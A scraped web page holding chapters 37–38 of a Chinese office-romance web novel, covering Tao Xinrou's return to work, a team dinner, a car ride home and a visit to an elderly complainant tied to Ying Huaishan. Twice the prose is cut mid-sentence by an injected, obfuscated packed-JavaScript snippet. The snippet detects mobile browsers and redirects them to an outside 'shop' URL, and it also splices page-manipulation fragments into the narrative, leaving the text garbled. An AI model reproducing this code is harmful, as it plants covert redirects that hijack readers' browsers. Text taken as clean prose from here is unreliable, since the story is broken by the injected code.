见陶新柔站在客厅发呆，陶母不明所以：“小柔，发生什么了？是公司那边的事吗？” “妈，领导让我下周一回去上班了。” “真的吗？太好了，回去一定要好好谢谢领导，还有，你在工作上也要再谨慎一些，千万别再出差错了。” “妈，你放心，我一定会谨慎办事的。” 37. 第三十七章 陶新柔复工的第一天，办公室里格外热闹，大家正围着她说话，赵思丽就找了过来，手里还拎着几盒看起来就价格不菲的点心。 “新柔，为了庆祝你回归，这是我特意买的几个甜品，上次你说喜欢吃，我就让人又去排队买了几盒。” 赵思丽说着，陶新柔的前桌就闻着味儿站起身：“哇！是那个很难排队买的咖啡蛋糕诶！新柔，你真有口福。” “哟，没想到你小子眼光还挺好的，喏，分你一盒。”赵思丽递过去。 前桌不敢置信地看了看赵思丽递给他的蛋糕，有点不好意思：“这……四小姐我真的可以收吗？” “收吧收吧，喜欢我再去买。” “谢谢四小姐，四小姐大气！” “别喊我四小姐，在公司里要有规矩，就叫我思丽吧。” 这边调侃着，那边听到的同事也都纷纷围过来。 赵思丽被围在中间，又拿出几盒蛋糕：“人人都有份，别急别急。” 一时间，办公室里热火朝天，陶新柔的工位成了全楼层最热闹的地方，魏浩也只是出来探了探头，笑了下就回去了。 大家一人捧着一盒蛋糕在工位上愉快地吃了起来，嘴甜的几个人不断喊着“思丽，你是我见过最亲民的大小姐”、“思丽，以后你就是我亲姐”。 赵思丽被夸得飘飘然，大手一挥：“晚上我请客！想吃什么随便点！” 此话一出，欢呼声差点把天花板掀翻。 就在一群人正热火朝天地讨论晚上去哪儿吃时，办公室门口忽然站了两个人。 正是应景晟和王安然。 看到两人，众人立刻噤了声，魏浩也急忙跑出来。 “小应总，您怎么来了？” 应景晟面无表情，只是目光在陶新柔身上停顿了一下后才说：“刚才路过听到你们这儿这么吵闹，就进来看看。” 赵思丽立刻蹦过去：“呀，是应大总裁！您来得正好，晚上我请客，一起来吃饭吗？” “不了。” 赵思丽不乐意了，走过去拽着应景晟的胳膊晃起来：“别啊，来嘛来嘛，你都听见了，就来参与一下嘛，作为总经理，与民同乐一下嘛。” “我还有事。”应景晟冷漠回应，抽出自己的胳膊。 “嘁，你这人真无趣。” 应景晟看了她一眼，没接话，而是转头看向陶新柔。 “陶新柔，明天上午九点，跟我出去一趟，看望那位投诉的客人。” 陶新柔愣了一下，赶紧点头：“好的，小应总。” 应景晟“嗯”了一声，转身准备离开。 走了两步，他像是忽然想起什么，脚步微顿，回头淡淡补了一句：“晚上好好玩，账单开出来找王安然报销。” 办公室安静了一秒，然后爆发出一阵比刚才更热烈的欢呼。 “真的假的？小应总请客？” “啊啊啊？我没听错吧？” “小应总你太好了！” 赵思丽眼睛一亮，也跟着喊：“表哥，这可是你说的啊！不许赖账。” 应景晟点点头，然后转身离开。 王安然跟在后面，偷偷笑了一下，冲大家比了个“OK”的手势，跟着出去了。 门关上，办公室里彻底沸腾了。 陶新柔站在人群后面，透过玻璃门看到应景晟在等电梯，他又扭头朝办公室望来，两人四目相对，陶新柔下意识想躲开，却看见他嘴角微微弯了一下。 等她回过神时，应景晟已经坐上了电梯。 她的心也跟着飘了上去，她想，他是因为她才请他们吃饭的吗？ * 晚上六点半，一群人浩浩荡荡地杀向那家日料店。 赵思丽订了个大包间，长长的榻榻米坐了二十个人。 客房部的同事们从没这么齐整地出来吃过饭，一个个都兴奋得不行，拿着菜单翻来翻去。 “这个刺身拼盘来一份！” “这个和牛也要！” “清酒来两壶！” …… 赵思丽坐在主位，笑眯眯地看着大家点菜，时不时还添两句：“点，随便点，别给我表哥省钱。” 魏浩坐在旁边，有点忐忑：“赵小姐，这太破费了吧……” “魏主管，你放心吧，天塌了也有我表哥顶着呢，就这点钱，吃不塌应家。” 魏浩：“……” 拗不过赵思丽，魏浩也只能随下属去了。 菜一道道上来了，包间里的气氛越来越热闹。 大家喝着清酒，聊着天，从工作聊到生活，从生活聊到八卦。 酒过三巡，大家都吃饱喝足了，赵思丽借口去洗手间补妆，有人开始喝得有点飘了。 “哎，我跟你们说个秘密。”一个男同事神秘兮兮地压低声音，“咱们小应总，就住在离我们酒店不远的老小区。” “真的假的？”有人质疑。 “真的！我有次加班晚，看见他往那个方向走，还有一次，我看到他让王安然送到那个小区门口呢。你们说，堂堂应家三少爷，不住豪宅住老小区，这是为什么啊？” “可能人家低调吧。” “那也太低调了，为什么不租个好点的房子，要租个破小区啊。” “你们说，那房东知道他是应家三少不？” “应该知道吧？” “我觉得不知道吧，要是知道了不得给他供起来，还租给他这么个破房子？” 陶新柔握着筷子的手指微微一紧，低下头默默扒拉菜，心脏莫名提了起来。 “对了，新柔，你不是也住在那附近吗？有没有偶遇过小应总啊？”有人问。 陶新柔刚把刺身送进嘴里，动作猛地一顿，飞快摇头：“没有，我从来没碰到过。” “你看，新柔都没遇见过，我看你是喝多了，在梦里遇见的吧。”有人调侃。 “就是，我看也是，反正我不信小应总住在那儿。” “我才不会说谎呢，我对天发誓！” …… 大家聊着又换了话题，陶新柔这才安下心吃饭。 看来下次真的要跟应景晟约法三章了，她可不想被其他人发现了。 * 一顿饭吃了两个多小时，大家酒足饭饱，有人提议：“咱们再去KTV搓第二顿吧！” “走起走起！” 一群人浩浩荡荡地往外走。 刚到楼下，脚步却齐齐顿住了。 门口停着一辆黑色的车，车牌号大家都认识，是小应总的车。 刚才还在嚷嚷着要去KTV的一群人，瞬间安静如鸡。 小应总是来买单的还是…… 只见车窗降下，“应景晟略显严肃的脸探了出来，他对着那群人只说了一句：“上车。” 喊谁上车？ 众人面面相觑，有人意识到应该是喊赵思丽。 赵思丽立刻凑上去：“表哥，你来接我？” 应景晟看了她一眼：“不然呢？”说完又朝别处看去。 赵思丽顺着应景晟的视线看去，那个方向似乎是陶新柔。 她心里一下就明白了，故意冲众人挥挥手：“那我先走啦，明天见！” 众人朝赵思丽挥手道别，也都各回各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404274|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家了。 然而，赵思丽却没有上车，而是冲陶新柔喊了一句：“新柔，你过来一下。” 陶新柔愣怔地走过去。 “怎么啦，思丽？” 赵思丽附在她耳边悄悄说：“他才不是来接我的，是来等你的。” 说完，她拉开车门，把陶新柔推了进去，然后火速把门关上，朝着她挥了挥手，“表哥，新柔就交给你啦，我还要跟他们继续第二顿，拜拜！” 说完，她就一溜烟跑走了。 只剩下陶新柔和应景晟，以及……短暂凝固的空气。 陶新柔回过头，看着应景晟，霎时不知该说些什么，她只能呵呵呵地弯起嘴角：“那个……赵思丽太开玩笑了，我自己打车回去吧。” 陶新柔慌忙去拉车门把手，应景晟却已经平稳起步，淡淡开口：“已经上路了，现在下车不安全。” 啊？ 应景晟启动发动机，语气平淡：“系上安全带。” 这…… 是可以的吗？ “要我帮你？”应景晟转头看着她。 陶新柔立刻回过神，拉上安全带：“不用了，谢谢。” 车子缓缓驶离，陶新柔透过车窗往外看，正好看见赵思丽站在不远处，冲她疯狂挥手。 她默默收回目光，在心里给赵思丽记了一笔。 赵思丽，你等着！ 不过，应景晟到底是来接谁的？难道真是来接她的？ 陶新柔转过头去看应景晟认真开车的侧脸，明明灭灭的路灯下，应景晟的眉眼略显冷傲，他眉头深锁，目视前方，薄唇紧闭，骨节分明的手指搭在方向盘上，让人移不开眼。 “我脸上有东西？” 似是察觉到了陶新柔的目光，应景晟快速扭头看了她一眼。 “啊，没有。”陶新柔慌张低下头。 “就是……在想，你今晚应该是来接思丽的吧？” “是来接你的。”应景晟道。 陶新柔愣住了，来接她？ “为什么……” “明天……” 两人同时开口，陶新柔便让他先说：“你先说。” “明天到了那儿，你什么都不用说，跟着我就行。” “好的。”陶新柔回答。 “你刚才想说什么？”应景晟问。 “哦，没什么，就是想说，谢谢你。” 应景晟看了她一眼：“谢什么？” “让我复工的事，我知道肯定是你做了什么。” “我没做什么，你也没有错，这事不用放在心上，何况……我们现在是合作关系，我护着你，也是在护我自己。” 陶新柔整个人微微一怔。 合作关系…… 原来他一直记得这么清楚。 但是，有些什么莫名其妙的东西在陶新柔的心里渐渐泛起了酸。 大概是刚才日料吃了很多醋和柠檬的关系吧，胃不舒服了。 她心里忽然涌起一股说不清的失落。 “是，合作关系。”她顺着他的话回应，收回目光，继续看着窗外。 她果然不能奢求应景晟对她有什么想法。 车内又陷入一片沉默，索性晚上的路并不堵，很快就开进了小区。 “我给你送到楼下，车我停回酒店，停在这里不方便，你先回去。” “好。”陶新柔解开安全带，拉开车门，看着应景晟驾车离去。 她站在原地，看着车消失的方向，站了很久。 原来在他眼里，他们只是这样的关系。 她苦笑了一下，转身往家走。 38. 第三十八章 次日，王安然开车，带着应景晟和陶新柔前往探望。 老两口住的地方离酒店不远。 车子很快就开到了小区门口，老小区不让停车，两人只能步行。 这里闹中取静，人流量不多，小区里有老人在下棋，看到年轻人来只是淡淡地抬头看了一眼，又继续下棋。 应景晟拎着给老两口准备的东西，陶新柔跟在他身后。 米灰色的外墙干净素雅，绿化带里修剪整齐的灌木丛中还点缀着几株晚樱，单元门是刷卡才能进入的款式，让人有安心的私密感。 应景晟找到老人所住的单元，按了对应门牌号，很快可视电话就接通了：“沈老，我们来看您了。” 那头是老太太的声音，她停顿了一会儿才淡淡地说了句“上来吧”。 电梯里只有他们两个人，镜面墙上映出两人的倒影。 “不用紧张，你今天是来和解的，不是来认错的。”他看了眼镜子里的她。 陶新柔点点头，跟着应景晟走出电梯。 按响门铃，老太太打开门，转身去给他们拿拖鞋。 应景晟把礼品放在门口问：“奶奶身体好些了吗？一直想来看望您，今天才有空，这是我们酒店的一点心意。” 老太太接过东西，目光越过他，落在陶新柔身上。 意识到目光，陶新柔立刻接话：“奶奶好，我是上次接待您的陶新柔，今天特意一起来看望您。” “哦，别站在门口了，都进来吧。” 陶新柔和应景晟换上老太太给的拖鞋，走进客厅。 客厅不大，收拾得很干净，老太太招呼他们坐下，自己去倒水。 陶新柔偷偷打量四周，墙上挂着几张老照片，有一张是年轻时老先生和一群人的合影，背景像是某个工厂。 “喝点水吧，我家老头子出去买菜了。”老太太把两杯水放在他们面前，自己在对面坐下，打断了陶新柔的思绪。 “那天的事，其实也怪我，年纪大了，看不清字，就觉得那糕点好看了。” “您身体没事就好，我们酒店都特别担心您，因为这件事，我们也做出了相应处理，我想总部应该跟您联系过了。”应景晟说道。 “处理结果我知道了，我心里也挺过意不去的，今天你们一起过来，我也放心了。”老太太看向陶新柔。 陶新柔刚要开口，应景晟先一步接过话，目光温和却带着试探：“奶奶，有个疑问想请教您，当初填表时，您怎么没填自己有花生过敏呢？” 老太太眼神飘忽，似是一下子不知道怎么回答：“当时谁也没注意表的事，只记得能参加一个活动，我们两个老人在家也没事做，出去转悠转悠就当消磨时光了。这件事确实怪我没检查一下，老头子脾气急，看我出事就炸了，后来冷静下来想想，她也就是递了个盘子，能有多大错。” 她顿了顿，又看向应景晟：“孩子，今天也辛苦你们跑一趟了，那天老头子正在气头上，说话冲，你们别往心里去，事后我也想了想，真该跟你道个歉，不该让你平白受这么大委屈，你们酒店后续那个文化体验活动，要是还办的话，我跟我家老头子再去捧个场，就当给你们赔个不是了。” 应景晟淡淡一笑：“奶奶您言重了，欢迎您再来酒店，只要您愿意，我们随时欢迎。” 两人没坐多久，怕打扰老人休息，聊了几句便起身告辞。 拜访完毕，陶新柔整个人才放松下来。 “这个奶奶人还挺好的。”陶新柔说道。 “是吗？可我刚才看你一直盯着客厅里的一张老照片看。” 陶新柔一愣，没想到应景晟还观察她。 “是，我刚才发现那张照片上的一个人特别眼熟，但想不起来是谁。” “是那张集体照？” “对，你也看到了？” 应景晟点点头：“那照片上有应怀山。” 陶新柔浑身一僵，脸色瞬间白了几分。 她开始回忆那张照片上熟悉的人的模样，那轮廓，那眉眼…… “是他！所以那个奶奶，跟应怀山认识？”陶新柔脑子飞速转着。 “嗯，这件事就是应怀山安排的。” “所以那天老先生突然发难，不是意外，是应怀山早就安排好的？他故意设套，让我背锅？” “是。”应景晟直言不讳，“我刚才也注意到了照片墙，除了集体照还有几张全家福，从05年拍到12年。” “这么久？12年之后怎么没拍了？难道他儿子出事了？” 应景晟点点头：“我也是这么猜的，能摆这么久不换，一定是心有挂念。” 陶新柔陷入沉思，电梯门打开，应景晟迈腿走出，陶新柔急忙跟上去。 “你的意思是……他儿子失踪了？” “也不排除这个可能，但我想说的是，应怀山能控制住老两口，突破口很可能就在这个儿子身上。” “应怀山用儿子威胁他们？” “不一定直接威胁。”应景晟走到车边，拉开车门，“但只要有在乎的人，就有可以被拿捏的地方，先上车。” 陶新柔跟着坐进去。 “那你打算怎么办？” “安然，查一下这位老人的儿子，现在在什么地方，在做什么，以前做过什么，有没有跟我们集团有过往来。” 王安然握着方向盘，目光透过后视镜看着应景晟冷峻的脸，恭敬回答：“是。” “你是想通过他儿子查应怀山？” 应景晟点点头：“只要找到他，就能弄清楚老太太到底是被什么拿捏住，才会心甘情愿帮应怀山一起陷害你。” 陶新柔侧过头，看着他的侧脸。 阳光落在他身上，把他的轮廓勾勒得很清晰。 “应景晟。”陶新柔喊道。 “嗯？” “谢谢你帮我。” 王安然透过后视镜看了两人一眼，又默默把视线收回，专注开车。 “不用谢，这几天上下班我来接你。” “接我？” 应景晟顿了一下，又补了一句：“我是怕应怀山暗中对你有什么动作，所以你下班后在酒店附近等我，当天的情况我们也能碰头交流。” 陶新柔心头轻轻一震，她望着他线条利落的侧脸，“嗯”了一声。 看来又是她想多了。 合作就合作吧。 反正有他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414013|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她不怕。 * 接下来几天，陶新柔回到岗位，表面上依旧是那个安分低调的好员工，实则多了十二分的心眼。 应怀山没让陶新柔离开，就一定还会有动作。 他虽然不能时刻保护她，但还是带来了一个好消息—— 项目又有进展了，集团通过了他们的庆典方案，并已经让行政部着手整理完整集团历史资料，把适合公开的部分做成展览，方便让入住的客人们参观，讲解历史。 这也就意味着，之前他们整理的档案，需要一个系统化的完善。 既然能梳理历史资料，陶新柔就有可以参考的部分。 她听完应景晟的考虑，眼睛亮了一下：“整理资料我也能参与吗？” “不能，这件事行政部在负责，你直接参与不方便，容易被应怀山的人注意到。” 白兴奋了。 她语气闷闷地答了一句：“好吧……” “但是……” 有转折！ “但是什么？” “行政部这次会非常忙，资料也很繁琐，我也要帮忙跟进，而且我听说，行政部新来了个实习生叫李璐，是郑舒慧的老乡。” 李璐她记得，刚来酒店实习还没到两周，她被停职的时候，舒慧经常跟她一起吃饭，当时舒慧还跟她兴奋地说，老乡很聊得来，两人关系不错。 所以如果她借着舒慧的名义去找老乡聊天，应该也没什么问题。 “该说的我都说了，其他你自己看着办，我还有点事要忙，先让安然送你回去吧。”应景晟说完就下了车，王安然在不远处等着，随后走了过去。 陶新柔看着应景晟离开的背影，心里又泛起一丝不名状的希望。 这个男人，什么都想到了，就是有些方面像个榆木脑袋。 不过，西南分公司能算进集团的历史进程里吗？ 陶新柔仔细回忆着之前查档时的资料，她记得西南分公司当时是云麓的重点工作内容，这是开拓了云麓和海外合作的里程碑，这部分按理说是必须放进历史记录里，除非应怀山他有鬼。 “陶小姐，小区里面不好停车，我把您送到小区门口，您自己进去可以吗？” 想着事，陶新柔已经到家了。 谢过王安然后，陶新柔还在想接下来应该怎么做。 她突然想起一件事，之前郑舒慧跟她说过，李璐刚实习，一直在找离酒店近的房子，还抱怨不好找。 于是她拿出手机给郑舒慧发消息。 XR：舒慧，你记得你跟我提过你老乡说想租一个离酒店近点的房子的事吗？我最近看到我家附近有人在出租，你问问她还需要吗？ 慧慧：太巧了，她刚才还在问我有没有靠谱的中介呢。 XR：那你把她推给我吧，我带她去看看。 不一会儿，郑舒慧就把一张名叫【柠檬汽水】的名片发了过来。 陶新柔看了看，对方用的还是一张柠檬的头像，按下添加，她发了一句备注：【我是客房部陶新柔，郑舒慧的朋友，听说你在找房子】 片刻，收到了对方已添加你为好友的消息。 【新柔姐你好，我是李璐。】